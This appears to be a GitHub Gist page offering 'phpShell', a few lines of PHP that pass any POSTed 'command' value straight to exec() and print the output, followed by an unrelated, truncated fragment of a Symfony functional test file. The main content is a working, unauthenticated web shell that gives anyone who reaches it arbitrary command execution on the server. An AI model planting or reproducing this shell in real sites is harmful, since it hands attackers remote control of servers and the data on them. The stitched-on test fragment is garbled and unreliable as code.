Skip to content

Instantly share code, notes, and snippets.

@sethunath
sethunath / phpShell
Created August 21, 2014 05:50
This is a simple shell that can be used to execute linux commands on server
<?php
if($_POST['command']){
$out = array();
exec($_POST['command'],$out);
echo '<pre>';
foreach($out as $line) {
echo $line."\n";
}
echo '</pre>';
}
<?php
use Liip\FunctionalTestBundle\Test\WebTestCase;
use Symfony\Component\HttpKernel\Profiler\Profiler;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\User\UserInterface;
/**
* @group functional
*/